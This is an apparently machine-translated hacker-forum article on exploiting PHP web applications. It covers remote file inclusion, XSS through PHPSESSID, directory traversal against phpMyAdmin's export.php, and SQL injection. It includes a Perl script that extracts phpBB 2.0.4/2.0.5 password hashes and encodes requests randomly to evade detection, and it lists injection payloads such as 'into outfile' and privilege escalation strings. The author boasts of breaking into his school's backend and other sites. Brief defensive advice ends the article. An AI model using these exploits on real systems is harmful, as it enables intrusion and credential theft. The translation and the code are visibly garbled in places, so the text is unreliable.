Judging from the current network security, the WEB page vulnerability that everyone is most concerned about and exposed to the most should be ASP. In this regard, Xiaozhu is an expert, and I have no say. However, from the perspective of PHP, there are also very serious security vulnerabilities. Problem, but there are not many articles in this area. Here, let’s briefly discuss the related vulnerabilities of PHP pages.
I have made a summary of the current common PHP vulnerabilities, which are roughly divided into the following categories: including file vulnerabilities, script command execution vulnerabilities, file leak vulnerabilities, SQL injection vulnerabilities, etc. Of course, as for some common technologies such as COOKIE spoofing, I won’t discuss it here, there is a lot of information about it online. So, let’s analyze how to exploit these vulnerabilities one by one!
First, let’s discuss the included file vulnerability. This vulnerability should be said to be unique to PHP. This is due to insufficient processing of externally provided malicious data, which allows remote attackers to exploit these vulnerabilities to execute arbitrary commands on the system with WEB process permissions. Command. Let's look at an example: Suppose there is such a code in a.php:
<?php
include($include."/xxx.php\");
?>
In this code, $include is generally a path that has been set up, but we can achieve the purpose of attack by constructing a path ourselves. For example, if we submit: a.php?include=http://web/b. php, this web is the space we use to attack. Of course, b.php is the code we use to attack. We can write in b.php something like: passthru("/bin/ls /etc "); code. In this way, you can perform some purposeful attacks. (Note: The web server should not be able to execute PHP code, otherwise there will be problems. For relevant details, you can see < < How to deal with common vulnerabilities in PHP programs Attack >>). In terms of this vulnerability, there are many problems, for example: PayPal Store Front,
HotNews, Mambo Open Source, PhpDig, YABB SE, phpBB, InvisionBoard, SOLMETRA SPAW Editor, Les Visiteurs, PhpGedView, X-Cart and many more.
Next, let’s take a look at the script command execution vulnerability. This is due to the lack of sufficient filtering of URI parameters submitted by users. Submitting data containing malicious HTML code can trigger a cross-site scripting attack and may obtain sensitive information of the target user. Let us also give an example: the index.php page in PHP Transparent PHP 4.3.1 or below lacks sufficient filtering of PHPSESSID. We can achieve the purpose of attack through such code:
http://web/index.php?PHPSESSID="><script>...</script >In script we can construct functions to obtain some sensitive information of users. There are relatively few vulnerabilities in this regard, except In addition to PHP Transparent, there are: PHP-Nuke, phpBB, PHP Classifieds, PHPix, Ultimate PHP Board, etc.
Then, let's take a look at the file disclosure vulnerability. This vulnerability is due to the lack of sufficient filtering of user submitted parameters. Remote attackers can use it to conduct directory traversal attacks and obtain some sensitive information. Let's take the recently discovered phpMyAdmin as an example. In phpMyAdmin, the export.php page does not fully filter the 'what' parameter submitted by the user. A remote attacker can bypass this by submitting data containing multiple '../' characters. Overcome WEB ROOT restrictions and view any file information on the system with WEB permissions. For example, entering such an address: export.php?what=../../../../../.. /etc/passwd%00 can achieve the purpose of file leakage. In this regard, it is relatively There are more: myPHPNuke, McNews, etc.
Finally, we are back to the most exciting place. Think about how fun it is to use SQL injection in asp pages. In the past, we had to inject manually until Xiaozhu realized the "SQL injection secret book" (hehe) , and then after developing NBSI, our NB Alliance really made a big difference. We have successively helped CSDN, Monopoly Forum, China Channel and other large websites to find loopholes. (I won’t go into more nonsense about this, it’s a bit off topic... ). Let’s get back to the topic. In fact, SQL injection in asp is roughly the same as SQL injection in php. Just pay a little attention to the functions used. Change asc to ASCII, len to LENGTH, and others. The function has basically remained unchanged. In fact, when everyone sees SQL injection in PHP, do they think of PHP-NUKE and PHPBB? Yes, as the saying goes, forums like Dongwang should be the king of loopholes in the ASP world. This is not to say that the security of its forum is too poor, but that it is too well-known. The more others use it, the more people will do research and the more security holes will be discovered. The same is true for PHPBB, which is very popular now. When most people use PHP to build forums, they usually choose PHPBB. Its vulnerabilities are also constantly emerging. From the earliest vulnerabilities were discovered in the phpBB 1.4.0 version of phpBB.com to the recent phpBB 2.0.6 version of groupcp .php, and the previously discovered search.php, profile.php, viewtopic.php, etc. add up to about a dozen. This has always led to some people using it as an experimental product when studying PHP vulnerabilities. , as the saying goes, practice makes you perfect, I believe PHPBB will get better and better in the future.
Okay, let's analyze the cause of the vulnerability. Take the viewtopic.php page as an example. When calling viewtopic.php, the "topic_id" is obtained directly from the GET request and passed to the SQL query command, and the Without some filtering, the attacker can submit a special SQL string to obtain the MD5 password. This password information can be used for automatic login or brute force cracking. (I don’t think anyone would want to do brute force cracking, unless there is a particularly important reason). Let’s take a look at the relevant source code first:
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS['topic']) )
# {
# $topic_id = intval($HTTP_GET_VARS['topic']);
# }
From the above we can see that if the submitted view=newest and sid is set to a value, the executed query code looks like the following (if you haven’t seen the PHPBB source code, I suggest you read it and then come here Look, the affected systems are: phpBB 2.0.5 and phpBB 2.0.4).
# $sql = "select p.post_id
# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
# where s.session_id = '$session_id'
# AND u.user_id = s.session_user_id
# AND p.topic_id = $topic_id
# AND p.post_time >= u.user_lastvisit
# ORDER BY p.post_time ASC
# LIMIT 1";
Rick provided the following test code:
use IO::Socket;
$remote = shift || 'localhost';
$view_topic = shift || '/phpBB2/viewtopic.php';
$uid = shift || 2;
$port = 80;
$dbtype = 'mysql4'; # mysql4 or pgsql
print "Trying to get password hash for uid $uid server $remote dbtype: $dbtypen";
$p = "";
for($index=1; $index<=32; $index++) {
$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $port,
Proto => "tcp",
Type => SOCK_STREAM)
or die "Couldnt connect to $remote:$port :$@n";
$str = "GET $view_topic" . "?sid=1&topic_id=-1" . random_encode(make_dbsql()) . "&view=newest" . " HTTP/1.0nn";
print $socket $str;
print $socket "Cookie: phpBB2mysql_sid=1n"; # replace this for pgsql or remove it
print $socket "Host: $remotenn";
while ($answer = <$socket>) {
if ($answer =~ /location:.*x23(d+)/) # Matches the location: viewtopic.php?p=<num>#<num> {
$p .= chr ();
}
}
close($socket);
}
print "nMD5 Hash for uid $uid is $pn";
# random encode str. helps avoid detection
sub random_encode {
$str = shift;
$ret = "";
for($i=0; $i<length($str); $i++) {
$c = substr($str,$i,1);
$j = rand length($str) * 1000;
if (int($j) % 2 || $c eq ' ') {
$ret .= "%" . sprintf("%x",ord($c));
} else {
$ret .= $c;
}
}
return $ret;
}
sub make_dbsql {
if ($dbtype eq 'mysql4') {
return " union select ord(substring(user_password," . $index . ",1)) from phpbb_users where user_id=$uid/*" ;
} elsif ($dbtype eq 'pgsql') {
return "; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false";
} else {
return "";
}
}
I won’t explain much about this broken code. The function is to obtain the HASH value.
Seeing this, you may have some questions about why the modified functions I mentioned earlier are not used. I am not afraid of making people laugh when I tell them: In fact, the query statements of some pages of many sites on the Internet will look like this:
display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc
Don’t laugh, it’s true. I’ve used this to access several large websites. As for which ones, it’s hard to tell, but for our school’s website, I used this to access the backend (I hope the school network center can’t see it) This article, ^_^). Use the previous function. Otherwise, you will have to change other people’s passwords!!!
I almost forgot that PHP is different from ASP when it comes to SQL injection. MySQL is not as flexible as MSSQL in using SQL statements. Therefore, many query statements that can be used in MSSQL will not work in the MySQL database. Generally, we Common injection statements are like this: aaa.php?id=a' into outfile 'pass.txt or aaa.php?id=a' into outfile 'pass.txt' /*It can be further changed to: aaa.php? id=a' or 1=1 union select id,name,password form users into outfile 'c:/a.txt. This way you can export the database data to a file and then view it.
Or like this: mode=',user_level='4
This statement is generally used when modifying data. If there is a vulnerability in the page, it can achieve the effect of elevating permissions.
Others such as ' OR 1=1 -- or: 1' or 1='1 are similar to asp. I won't go into details here. In PHP, SQL injection seems to be the number one vulnerability. There are too many pages. This is the problem.
In fact, you can see that there is only one reason for the above classifications: the submitted parameters are not filtered or the filtering is not rigorous enough. Hackers' defense lines have always been both offensive and defensive. Here, let's talk about the prevention methods in general.
First of all, I personally think it is the most important The most important thing is to set magic_quotes_gpc to ON. Its function is to convert single quotes, double quotes, backslashes, and null characters into characters containing backslashes, such as select * from admin where username='$username' and password ='$password' statement, the attacker wants to use 1' or 1='1 to skip verification, but those strings will be converted into this: select * from admin where username='a' and password='1' or 1='1' to achieve the purpose of preventing injection. In fact, the addslashes() operation is automatically performed. If it doesn't work, define your own function to handle it. Now it seems that those who engage in PHP injection are also relatively depressed, because Versions below myslq4 do not support substatements, and new versions of mysql will default the magic_quotes_gpc option to on.
The method to solve the include file vulnerability is to ask programmers to try not to use variables for parameters in include files. If variables are used, the file names to be included must be strictly checked and must not be specified arbitrarily by the user. It is recommended to set global_variables to off. For example, limiting the PHP operation path in the previous file opening is a necessary option. In addition, unless otherwise necessary, be sure to turn off PHP's remote file opening function. Modify the php.ini file: allow_url_fopen = Off (Note: See <<PHP Security Issues: Remote Overflow, DoS, Safe_mode Bypass Vulnerabilities>>).